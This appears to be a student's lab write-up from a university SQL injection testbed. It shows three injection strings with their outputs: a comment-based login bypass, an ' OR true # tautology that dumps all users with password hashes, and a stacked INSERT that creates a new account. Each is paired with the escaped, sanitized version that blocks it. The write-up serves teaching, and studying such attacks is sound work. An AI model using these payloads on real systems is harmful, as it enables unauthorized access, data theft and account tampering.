MP4

Task 1

String: `jacob';`
Output:

The SQL Injection Testbed

Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jacob';
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jacob';' AND passwd=PASSWORD('')

The above page was generated based on the query results.

Sanitized output:

The SQL Injection Testbed

Special characters in the input string are escaped so that the input is secure for SQL

Access Denied!

The combination of username/password is not found in the database. Please re-try.

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jacob\';
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jacob\';' AND passwd=PASSWORD('')

The above page was generated based on the query results.

Task 2

String: `' OR true #`

Output:

Introduction	This is Anna Ross.		

First Name	Anna Ross	Username	Anna
Password	*8342278FD80E338FC16478FB1C13FA4F04C8A16C		
Introduction	This is Anna.		

First Name	Yadi	Username	yadi
Password	*989CD3DE4FCAF558028E631762FE1E3384F5752E		
Introduction	I love hacking!		

First Name	Rafale	Username	Rafale
Password	*54C8350BA2BFF126E80310731E908F42B236FAB9		
Introduction	HACKED		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: ' OR true #
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='' OR true #' AND passwd=PASSWORD('')

The above page was generated based on the query results.

Sanitized output:

Access Denied!

The combination of username/password is not found in the database. Please re-try.

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: \' OR true #
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='\' OR true #' AND passwd=PASSWORD('')

The above page was generated based on the query results.

Task 3

String: `jacob'; INSERT INTO users VALUES ('Arnav', 'Arnav' , PASSWORD('hi'), 'hello') #`

Injection Output:

The SQL Injection Testbed

Login Successful!

I have retrieved your user information from my database.

First Name	Jacob	Username	jacob
Password	*E8BD367EA8A40D6C29EA94774FD4F6AD0A565F5C		
Introduction	This is Jacob. Nice to meet you!		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jacob'; INSERT INTO users VALUES ('Arnav', 'Arnav' , PASSWORD('hi'), 'hello') #
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jacob'; INSERT INTO users VALUES ('Arnav', 'Arnav' , PASSWORD('hi'), 'hello') #' AND passwd=PASSWORD('')

The above page was generated based on the query results.

Login output:

The SQL Injection Testbed

Login Successful!

I have retrieved your user information from my database.

First Name	Arnav	Username	Arnav
Password	*B6BDA741F59FE8066344FE3E118291C5D7DD12AD		
Introduction	hello		

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: Arnav
Password: hi

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='Arnav' AND passwd=PASSWORD('hi')

The above page was generated based on the query results.

Sanitized:

The SQL Injection Testbed

Special characters in the input string are escaped so that the input is secure for SQL

Access Denied!

The combination of username/password is not found in the database. Please re-try.

This is a SQLi test bed used for classes and training events at KU EECS/ITTC. Please do not post the link to the testbed anywhere on the Internet!

In a real-world system, the following information is NEVER displayed to the user.

User input received from login page:

Username: jacob\'; INSERT INTO users VALUES (\'Arnav\', \'Arnav\' , PASSWORD(\'hi\'), \'hello\') #
Password:

Based on the user input, I created the following query:

SELECT * FROM users WHERE uname='jacob\'; INSERT INTO users VALUES (\'Arnav\', \'Arnav\' , PASSWORD(\'hi\'), \'hello\') #' AND passwd=PASSWORD('')

The above page was generated based on the query results.